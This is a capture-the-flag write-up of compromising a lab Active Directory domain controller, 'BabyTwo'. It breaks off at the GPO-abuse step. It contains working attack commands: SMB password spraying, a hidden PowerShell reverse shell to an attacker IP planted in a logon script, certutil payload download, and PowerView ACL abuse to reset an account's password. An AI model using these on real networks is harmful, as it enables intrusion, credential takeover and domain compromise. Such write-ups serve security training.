Summary

BabyTwo is an Active Directory machine that brings together several interesting techniques, particularly around SMB enumeration and Active Directory permissions. The initial foothold comes from information exposed through an accessible SMB share, which eventually leads to valid domain credentials. From there, a misconfigured automated process (a writable domain logon script) provides a way into the system. The rest of the machine focuses on abusing Active Directory ACL misconfigurations to move laterally through the domain and eventually gain administrative access to the domain controller.

Attack chain: Guest SMB access exposed a writable homes share that leaked valid domain usernames. Username-as-password spraying yielded credentials for Carl.Moore, whose share access revealed a domain logon script (login.vbs) that could be overwritten. Weaponizing that script delivered a reverse shell as amelia.griffiths on next logon. BloodHound enumeration from this foothold exposed an ACL misconfiguration (WriteOwner) over the GPOADM object, which was abused to take ownership, grant full control, and reset its password. GPOADM's GPO-editing rights were then abused with pyGPOAbuse to push a malicious scheduled task domain-wide, adding Carl.Moore to the local Administrators group and ultimately dumping the NTDS database for full domain compromise.

Information Gathering

Full Port Scan

The first step is to perform a full TCP port scan to identify all exposed services.

sudo nmap -p- -sS -Pn -vvv -n --min-rate 5000 -T4 10.129.85.16 -oX target
Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-06 12:25 EST
Initiating SYN Stealth Scan at 12:25
Scanning 10.129.85.16 [65535 ports]
Discovered open port 135/tcp on 10.129.85.16
Discovered open port 3389/tcp on 10.129.85.16
Discovered open port 53/tcp on 10.129.85.16
Discovered open port 139/tcp on 10.129.85.16
Discovered open port 445/tcp on 10.129.85.16
Discovered open port 62859/tcp on 10.129.85.16
Discovered open port 60483/tcp on 10.129.85.16
Discovered open port 49667/tcp on 10.129.85.16
Discovered open port 3269/tcp on 10.129.85.16
Discovered open port 52566/tcp on 10.129.85.16
Discovered open port 52571/tcp on 10.129.85.16
Discovered open port 49664/tcp on 10.129.85.16
Discovered open port 636/tcp on 10.129.85.16
Discovered open port 464/tcp on 10.129.85.16
Discovered open port 389/tcp on 10.129.85.16
Discovered open port 62841/tcp on 10.129.85.16
Discovered open port 9389/tcp on 10.129.85.16
Discovered open port 3268/tcp on 10.129.85.16
Discovered open port 593/tcp on 10.129.85.16
Discovered open port 593/tcp on 10.129.85.16
Discovered open port 62840/tcp on 10.129.85.16
Discovered open port 88/tcp on 10.129.85.16
Discovered open port 88/tcp on 10.129.85.16
Completed SYN Stealth Scan at 12:26, 40.47s elapsed (65535 total ports)
Nmap scan report for 10.129.85.16
Host is up, received user-set (0.39s latency).
Scanned at 2026-11-06 12:25:44 EST for 40s
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
52566/tcp open  unknown          syn-ack ttl 127
52571/tcp open  unknown          syn-ack ttl 127
60483/tcp open  unknown          syn-ack ttl 127
62840/tcp open  unknown          syn-ack ttl 127
62841/tcp open  unknown          syn-ack ttl 127
62859/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 40.55 seconds
           Raw packets sent: 196586 (8.650MB) | Rcvd: 43 (1.892KB)

Service Version Scan

With the open ports identified, a service and version detection scan was performed to gather more information about the target.

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389,9389,49664,49667,52566,52571,60483,62840,62841,62859 -Pn -sCV 10.129.85.16 -oN info_10.129.85.16
Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-06 12:27 EST
Nmap scan report for baby2.vl (10.129.85.16)
Host is up (0.56s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-11-06 17:27:15Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after:  2105-08-19T14:22:11
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after:  2105-08-19T14:22:11
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after:  2105-08-19T14:22:11
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after:  2105-08-19T14:22:11
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: BABY2
|   NetBIOS_Domain_Name: BABY2
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: baby2.vl
|   DNS_Computer_Name: dc.baby2.vl
|   DNS_Tree_Name: baby2.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-11-06T17:28:15+00:00
| ssl-cert: Subject: commonName=dc.baby2.vl
| Not valid before: 2026-11-05T17:19:44
|_Not valid after:  2027-05-07T17:19:44
|_ssl-date: 2026-11-06T17:28:53+00:00; 0s from scanner time.
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
52566/tcp open  msrpc         Microsoft Windows RPC
52571/tcp open  msrpc         Microsoft Windows RPC
60483/tcp open  msrpc         Microsoft Windows RPC
62840/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
62841/tcp open  msrpc         Microsoft Windows RPC
62859/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-11-06T17:28:15
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.12 seconds

The target is identified as a Domain Controller belonging to the baby2.vl domain, with hostname DC (dc.baby2.vl). SMB signing is enabled and required, which rules out NTLM relay attacks against SMB from the outset.

We add the domain and hostname to /etc/hosts for local name resolution:

echo '10.129.85.16 baby2.vl dc.baby2.vl' | sudo tee -a /etc/hosts

Enumeration

SMB Share Enum

Guest access is enabled, allowing unauthenticated share enumeration. The apps and NETLOGON shares are readable, while homes also allows write access, making it worth investigating further.

nxc smb dc.baby2.vl -u 'Guest' -p '' --shares
SMB         10.129.85.16    445    dc               [*] Windows Server 2022 Build 20348 x64 (name:dc) (domain:baby2.vl) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.85.16    445    dc               [+] baby2.vl\Guest: 
SMB         10.129.85.16    445    dc               [*] Enumerated shares
SMB         10.129.85.16    445    dc               Share           Permissions            Remark
SMB         10.129.85.16    445    dc               -----           -----------            ------
SMB         10.129.85.16    445    dc               ADMIN$                                 Remote Admin
SMB         10.129.85.16    445    dc               apps            READ                   
SMB         10.129.85.16    445    dc               C$                                     Default share
SMB         10.129.85.16    445    dc               docs                                   
SMB         10.129.85.16    445    dc               homes           READ,WRITE             
SMB         10.129.85.16    445    dc               IPC$            READ                   Remote IPC
SMB         10.129.85.16    445    dc               NETLOGON        READ                   Logon server share 
SMB         10.129.85.16    445    dc               SYSVOL                                 Logon server share

Username Enumeration via the homes Share

Since direct user enumeration was not possible with the Guest account, the writable homes share was explored instead. Its directory listing exposed per-user home folders, effectively leaking valid domain usernames.

smbclient //dc.baby2.vl/homes -U 'Guest%' 
smb: \> ls
  .                                   D        0  Mon Aug 25 04:08:33 2025
  ..                                  D        0  Tue Aug 22 16:10:21 2023
  Amelia.Griffiths                    D        0  Tue Aug 22 16:17:06 2023
  Carl.Moore                          D        0  Tue Aug 22 16:17:06 2023
  Harry.Shaw                          D        0  Tue Aug 22 16:17:06 2023
  Joan.Jennings                       D        0  Tue Aug 22 16:17:06 2023
  Joel.Hurst                          D        0  Tue Aug 22 16:17:06 2023
  Kieran.Mitchell                     D        0  Tue Aug 22 16:17:06 2023
  library                             D        0  Tue Aug 22 16:22:47 2023
  Lynda.Bailey                        D        0  Tue Aug 22 16:17:06 2023
  Mohammed.Harris                     D        0  Tue Aug 22 16:17:06 2023
  Nicola.Lamb                         D        0  Tue Aug 22 16:17:06 2023
  Ryan.Jenkins                        D        0  Tue Aug 22 16:17:06 2023

		6126847 blocks of size 4096. 1269184 blocks available

The discovered usernames were saved to users.txt for further enumeration:

echo 'Amelia.Griffiths                                                           
Carl.Moore
Harry.Shaw
Joan.Jennings
Joel.Hurst
Kieran.Mitchell
library
Lynda.Bailey
Mohammed.Harris
Nicola.Lamb
Ryan.Jenkins
' > users.txt

Password Spraying

With a confirmed username list, a password-spraying approach was tested using each username as its own potential password, a common misconfiguration left over from default account provisioning. This revealed valid credentials for further access.

nxc smb dc.baby2.vl -u users.txt -p users.txt --continue-on-success
SMB         10.129.85.16    445    dc               [*] Windows Server 2022 Build 20348 x64 (name:dc) (domain:baby2.vl) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.85.16    445    dc               [-] baby2.vl\Amelia.Griffiths:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\Carl.Moore:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\Harry.Shaw:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\Joan.Jennings:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\Joel.Hurst:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\Kieran.Mitchell:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\library:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\Lynda.Bailey:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\Mohammed.Harris:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\Nicola.Lamb:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [-] baby2.vl\Ryan.Jenkins:Amelia.Griffiths STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [+] baby2.vl\:Amelia.Griffiths (Guest)
SMB         10.129.85.16    445    dc               [-] baby2.vl\Amelia.Griffiths:Carl.Moore STATUS_LOGON_FAILURE 
SMB         10.129.85.16    445    dc               [+] baby2.vl\Carl.Moore:Carl.Moore 
...

The spray revealed valid credentials for Carl.Moore.

Validating Credentials and Share Access

nxc smb dc.baby2.vl -u Carl.Moore -p Carl.Moore
SMB         10.129.85.16    445    dc               [*] Windows Server 2022 Build 20348 x64 (name:dc) (domain:baby2.vl) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.85.16    445    dc               [+] baby2.vl\Carl.Moore:Carl.Moore 

With valid credentials confirmed, the SMB shares accessible with this account were enumerated:

nxc smb dc.baby2.vl -u Carl.Moore -p Carl.Moore --shares
SMB         10.129.85.16    445    dc               [*] Windows Server 2022 Build 20348 x64 (name:dc) (domain:baby2.vl) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.85.16    445    dc               [+] baby2.vl\Carl.Moore:Carl.Moore 
SMB         10.129.85.16    445    dc               [*] Enumerated shares
SMB         10.129.85.16    445    dc               Share           Permissions            Remark
SMB         10.129.85.16    445    dc               -----           -----------            ------
SMB         10.129.85.16    445    dc               ADMIN$                                 Remote Admin
SMB         10.129.85.16    445    dc               apps            READ,WRITE             
SMB         10.129.85.16    445    dc               C$                                     Default share
SMB         10.129.85.16    445    dc               docs            READ,WRITE             
SMB         10.129.85.16    445    dc               homes           READ,WRITE             
SMB         10.129.85.16    445    dc               IPC$            READ                   Remote IPC
SMB         10.129.85.16    445    dc               NETLOGON        READ                   Logon server share 
SMB         10.129.85.16    445    dc               SYSVOL          READ                   Logon server share 

The account has read and write access to apps, docs, and homes. spider_plus was used to recursively enumerate the accessible shares and identify interesting files:

nxc smb dc.baby2.vl -u Carl.Moore -p Carl.Moore -M spider_plus
SMB         10.129.85.16    445    dc               [*] Windows Server 2022 Build 20348 x64 (name:dc) (domain:baby2.vl) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.85.16    445    dc               [+] baby2.vl\Carl.Moore:Carl.Moore 
SPIDER_PLUS 10.129.85.16    445    dc               [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.85.16    445    dc               [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.85.16    445    dc               [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.85.16    445    dc               [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.85.16    445    dc               [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.85.16    445    dc               [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.85.16    445    dc               [*]  OUTPUT_FOLDER: /home/z1rov/.nxc/modules/nxc_spider_plus
SMB         10.129.85.16    445    dc               [*] Enumerated shares
SMB         10.129.85.16    445    dc               Share           Permissions            Remark
SMB         10.129.85.16    445    dc               -----           -----------            ------
SMB         10.129.85.16    445    dc               ADMIN$                                 Remote Admin
SMB         10.129.85.16    445    dc               apps            READ,WRITE             
SMB         10.129.85.16    445    dc               C$                                     Default share
SMB         10.129.85.16    445    dc               docs            READ,WRITE             
SMB         10.129.85.16    445    dc               homes           READ,WRITE             
SMB         10.129.85.16    445    dc               IPC$            READ                   Remote IPC
SMB         10.129.85.16    445    dc               NETLOGON        READ                   Logon server share 
SMB         10.129.85.16    445    dc               SYSVOL          READ                   Logon server share 
SPIDER_PLUS 10.129.85.16    445    dc               [+] Saved share-file metadata to "/home/z1rov/.nxc/modules/nxc_spider_plus/10.129.85.16.json".
SPIDER_PLUS 10.129.85.16    445    dc               [*] SMB Shares:           8 (ADMIN$, apps, C$, docs, homes, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.85.16    445    dc               [*] SMB Readable Shares:  6 (apps, docs, homes, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.85.16    445    dc               [*] SMB Writable Shares:  3 (apps, docs, homes)
SPIDER_PLUS 10.129.85.16    445    dc               [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.129.85.16    445    dc               [*] Total folders found:  34
SPIDER_PLUS 10.129.85.16    445    dc               [*] Total files found:    9
SPIDER_PLUS 10.129.85.16    445    dc               [*] File size average:    1.26 KB
SPIDER_PLUS 10.129.85.16    445    dc               [*] File size min:        22 B
SPIDER_PLUS 10.129.85.16    445    dc               [*] File size max:        3.71 KB

The enumeration revealed several files in NETLOGON, SYSVOL, and apps:

cat /home/z1rov/.nxc/modules/nxc_spider_plus/10.129.85.16.json
{
    "NETLOGON": {
        "login.vbs": {
            "atime_epoch": "2025-08-25 07:23:29",
            "ctime_epoch": "2025-08-25 04:30:24",
            "mtime_epoch": "2025-08-25 07:23:29",
            "size": "992 B"
        }
    },
    "SYSVOL": {
        "baby2.vl/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI": {
            "atime_epoch": "2023-08-22 16:22:12",
            "ctime_epoch": "2023-08-22 13:37:41",
            "mtime_epoch": "2023-08-22 16:22:12",
            "size": "23 B"
        },
        "baby2.vl/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
            "atime_epoch": "2023-08-22 16:22:12",
            "ctime_epoch": "2023-08-22 13:37:41",
            "mtime_epoch": "2023-08-22 16:22:12",
            "size": "1.04 KB"
        },
        "baby2.vl/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol": {
            "atime_epoch": "2023-08-22 13:44:14",
            "ctime_epoch": "2023-08-22 13:44:14",
            "mtime_epoch": "2023-08-22 15:16:28",
            "size": "2.72 KB"
        },
        "baby2.vl/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI": {
            "atime_epoch": "2023-08-22 16:51:56",
            "ctime_epoch": "2023-08-22 13:37:41",
            "mtime_epoch": "2023-08-22 16:51:56",
            "size": "22 B"
        },
        "baby2.vl/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
            "atime_epoch": "2023-08-22 16:51:56",
            "ctime_epoch": "2023-08-22 13:37:41",
            "mtime_epoch": "2023-08-22 16:51:56",
            "size": "3.71 KB"
        },
        "baby2.vl/scripts/login.vbs": {
            "atime_epoch": "2025-08-25 07:23:29",
            "ctime_epoch": "2025-08-25 04:30:24",
            "mtime_epoch": "2025-08-25 07:23:29",
            "size": "992 B"
        }
    },
    "apps": {
        "dev/CHANGELOG": {
            "atime_epoch": "2023-09-07 15:16:15",
            "ctime_epoch": "2023-09-07 15:13:40",
            "mtime_epoch": "2023-09-07 15:20:13",
            "size": "108 B"
        },
        "dev/login.vbs.lnk": {
            "atime_epoch": "2023-09-07 15:13:23",
            "ctime_epoch": "2023-09-07 15:13:04",
            "mtime_epoch": "2023-09-07 15:20:13",
            "size": "1.76 KB"
        }
    },
    "docs": {},
    "homes": {}
}

login.vbs shows up under both NETLOGON and SYSVOL in this listing. That's expected: NETLOGON is the default share Windows exposes as a direct alias onto SYSVOL\<domain>\scripts on every Domain Controller, so both paths point at the exact same file on disk: there's no separate copy to track, and a write to one is immediately visible through the other.

Logon Script Discovery

The SYSVOL share contains a login.vbs script under baby2.vl/scripts. This is immediately interesting: SYSVOL replicates to every Domain Controller and its scripts subfolder is the default location Windows clients pull logon scripts from via Group Policy: any user or computer with a logon script assignment pointing here will execute whatever this file contains the next time they log on.

smbclient //dc.baby2.vl/SYSVOL -U 'Carl.Moore'
smb: \> cd baby2.vl
smb: \baby2.vl\> ls
  .                                   D        0  Tue Aug 22 13:43:55 2023
  ..                                  D        0  Tue Aug 22 13:37:36 2023
  DfsrPrivate                      DHSr        0  Tue Aug 22 13:43:55 2023
  Policies                            D        0  Tue Aug 22 13:37:41 2023
  scripts                             D        0  Mon Aug 25 04:30:39 2025
smb: \baby2.vl\> cd scripts
smb: \baby2.vl\scripts\> ls
  .                                   D        0  Mon Aug 25 04:30:39 2025
  ..                                  D        0  Tue Aug 22 13:43:55 2025
  login.vbs                           A      992  Sat Sep  2 10:55:51 2023

About VBScript: VBScript is a lightweight scripting language developed by Microsoft, commonly used to automate tasks in Windows environments, including logon scripts.

smb: \baby2.vl\scripts\> get login.vbs
getting file \baby2.vl\scripts\login.vbs of size 992 as login.vbs (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
cat login.vbs
Sub MapNetworkShare(sharePath, driveLetter)
    Dim objNetwork
    Set objNetwork = CreateObject("WScript.Network")    
  
    ' Check if the drive is already mapped
    Dim mappedDrives
    Set mappedDrives = objNetwork.EnumNetworkDrives
    Dim isMapped
    isMapped = False
    For i = 0 To mappedDrives.Count - 1 Step 2
        If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
            isMapped = True
            Exit For
        End If
    Next
    
    If isMapped Then
        objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
    End If
    
    objNetwork.MapNetworkDrive driveLetter & ":", sharePath
    
    If Err.Number = 0 Then
        WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
    Else
        WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
    End If
    
    Set objNetwork = Nothing
End Sub

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"

This script simply maps two network drives on logon; nothing malicious by design. The key finding here is who runs it and whether we can write to it.

Confirming the Logon Script Assignment

Before spending effort weaponizing login.vbs, it's worth confirming the file is actually assigned as a logon script to a real user, rather than being a stale leftover sitting in SYSVOL. Querying the scriptPath attribute on one of the discovered accounts over LDAP settles that:

bloodyAD --host 10.129.85.16 -d baby2.vl -u Carl.Moore -p 'Carl.Moore' get object 'Amelia.Griffiths' --attr scriptPath
distinguishedName: CN=Amelia Griffiths,OU=office,DC=baby2,DC=vl
scriptPath: \\baby2.vl\SYSVOL\baby2.vl\scripts\login.vbs

The scriptPath attribute points to the file just read above, confirming that login.vbs is configured as Amelia Griffiths' logon script and runs whenever her logon script is processed. This links the write permission on the file to a concrete code execution path in a known user context: once the file is modified, the payload runs as amelia.griffiths the next time her logon script is processed.

A later check against the live share confirms the overwrite landed on the same object scriptPath points to: the file is reachable (and shows the post-exploitation size) through NETLOGON as well, exactly as expected from the alias relationship established earlier:

smbclient //dc.baby2.vl/NETLOGON -U 'Carl.Moore%Carl.Moore'
smb: \> ls
  .                                   D        0  Mon Aug 25 04:30:39 2025
  ..                                  D        0  Tue Aug 22 13:43:55 2023
  login.vbs                           A     1507  Fri Nov  6 12:56:15 2026

		6126847 blocks of size 4096. 1951487 blocks available

Exploitation

Abusing the Writable Logon Script

Vulnerability: insecure write permissions on the domain logon script served from SYSVOL.

Although the share-level listing for SYSVOL reported READ only, the underlying NTFS permissions on the scripts folder still allowed Carl.Moore to overwrite login.vbs. Since this script runs in the security context of whichever user triggers it at logon (confirmed above to be amelia.griffiths), modifying it is equivalent to planting a backdoor that fires automatically the next time that specific victim authenticates: no exploit, no CVE, just a permissions oversight on a file her logon path touches.

Note: Logon scripts (UserParameters / scriptPath in AD, delivered via NETLOGON/SYSVOL) are a classic lateral movement and persistence primitive in AD environments. Any write access to the script a privileged or simply other user runs at logon is effectively arbitrary code execution as that user, with no need to touch LSASS, Kerberos tickets, or exploit code.

The original script was modified to prepend a hidden PowerShell reverse shell, executed via WScript.Shell.Run with the window hidden, before falling back to the original drive-mapping behavior so the change would go unnoticed:

Sub MapNetworkShare(sharePath, driveLetter)
    Dim objNetwork
    Set objNetwork = CreateObject("WScript.Network")    
  
    ' Check if the drive is already mapped
    Dim mappedDrives
    Set mappedDrives = objNetwork.EnumNetworkDrives
    Dim isMapped
    isMapped = False
    For i = 0 To mappedDrives.Count - 1 Step 2
        If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
            isMapped = True
            Exit For
        End If
    Next
    
    If isMapped Then
        objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
    End If
    
    objNetwork.MapNetworkDrive driveLetter & ":", sharePath
    
    If Err.Number = 0 Then
        WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
    Else
        WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
    End If
    
    Set objNetwork = Nothing
End Sub

Set objShell = CreateObject("WScript.Shell")

strCommand = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command ""$c=New-Object Net.Sockets.TCPClient('10.10.16.244',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sB=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sB,0,$sB.Length);$s.Flush()};$c.Close()"""

objShell.Run strCommand, 0, False

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"

The weaponized script was then uploaded back to the same path, overwriting the legitimate one:

smbclient //dc.baby2.vl/SYSVOL -U 'Carl.Moore%Carl.Moore'
smb: \> cd baby2.vl\scripts\
smb: \baby2.vl\scripts\> put login.vbs
putting file login.vbs as \baby2.vl\scripts\login.vbs (1.1 kb/s) (average 1.1 kb/s)

A listener was started on a separate terminal to catch the callback once amelia.griffiths triggers the logon script:

penelope -p 4444

Penelope listener on port 4444 catching the reverse shell as the poisoned login.vbs re-executes on amelia.griffiths' next logon Listener catching the reverse shell as soon as the poisoned login.vbs re-executes at the victim's next logon, landing an interactive session as amelia.griffiths.

Shortly after, the listener receives a callback in the context of amelia.griffiths. The following confirms the foothold and retrieves the user flag:

PS C:\temp> hostname ; whoami ; ipconfig ; type user.txt
dc
baby2\amelia.griffiths

Windows IP Configuration


Ethernet adapter Ethernet0 3:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::a68f:7e20:9549:efb7
   Link-local IPv6 Address . . . . . : fe80::645d:f56b:6cb:9734%3
   IPv4 Address. . . . . . . . . . . : 10.129.85.16
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:fe94:c01e%3
                                       10.129.0.1
42783b2c1483aeb70eca6810f064****

Privilege Escalation

BloodHound Enumeration

With an authenticated foothold established, bloodhound-ce-python was used to collect AD data for offline analysis of attack paths:

bloodhound-ce-python -d baby2.vl -u Carl.Moore -p Carl.Moore -ns 10.129.85.16 -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: baby2.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Testing resolved hostname connectivity dead:beef::a68f:7e20:9549:efb7
INFO: Trying LDAP connection to dead:beef::a68f:7e20:9549:efb7
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Testing resolved hostname connectivity dead:beef::a68f:7e20:9549:efb7
INFO: Trying LDAP connection to dead:beef::a68f:7e20:9549:efb7
INFO: Found 16 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.baby2.vl
INFO: Done in 01M 56S
INFO: Compressing output into 20261106131456_bloodhound.zip

The collected .zip was ingested into BloodHound CE for graph analysis:

BloodHound CE graph showing a WriteOwner edge from AMELIA.GRIFFITHS to the GPOADM object BloodHound CE graph after ingestion, showing a WriteOwner edge from AMELIA.GRIFFITHS to the GPOADM AD object: the account now controlled via the logon-script foothold has the right to take ownership of this service account.

This is a classic AD ACL abuse primitive: WriteOwner lets a principal change an object's owner to itself, and once owner, it can grant itself any further right (including GenericAll) over that object, a full takeover path with no password needed up front.

Downloading PowerView

PowerView.ps1 was staged on the attack host and pulled down onto the target to perform the ACL abuse:

python3 -m http.server 8081
PS C:\temp> certutil -urlcache -f http://10.10.16.244:8081/PowerView.ps1 PowerView.ps1
PS C:\temp> . .\PowerView.ps1

Abusing WriteOwner over GPOADM

Following the chain identified in BloodHound, ownership of GPOADM was taken, GenericAll was granted over it, and its password was reset to a known value:

PS C:\temp> Set-DomainObjectOwner -Identity 'GPOADM' -OwnerIdentity 'amelia.griffiths'
PS C:\temp> Add-DomainObjectAcl -Rights 'All' -TargetIdentity 'GPOADM' -PrincipalIdentity 'amelia.griffiths'
PS C:\temp> $NewPassword = ConvertTo-SecureString 'z1rovP@ss123!' -AsPlainText -Force
PS C:\temp> Set-DomainUserPassword -Identity 'GPOADM' -AccountPassword $NewPassword

The new credentials were validated:

nxc smb dc.baby2.vl -u GPOADM -p 'z1rovP@ss123!' 
SMB         10.129.85.16    445    dc               [*] Windows Server 2022 Build 20348 x64 (name:dc) (domain:baby2.vl) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.85.16    445    dc               [+] baby2.vl\GPOADM:z1rovP@ss123! 

NetExec confirming successful SMB authentication as GPOADM with the newly set password NetExec confirming successful SMB authentication as GPOADM with the password just set, validating that the WriteOwner → GenericAll → password-reset chain worked end to end.

GPO Abuse via pyGPOAbuse

The name GPOADM strongly hints at delegated Group Policy administration rights, and this is confirmed by the account's ability to edit the Default Domain Policy. A principal with edit rights over a GPO linked to an OU (or domain root) can push arbitrary configuration, including immediate scheduled tasks, to every computer in scope, effectively granting code execution as NT AUTHORITY\SYSTEM on those machines, or any command on logon for affected users. pyGPOAbuse automates this by injecting a scheduled task into the target GPO.

git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
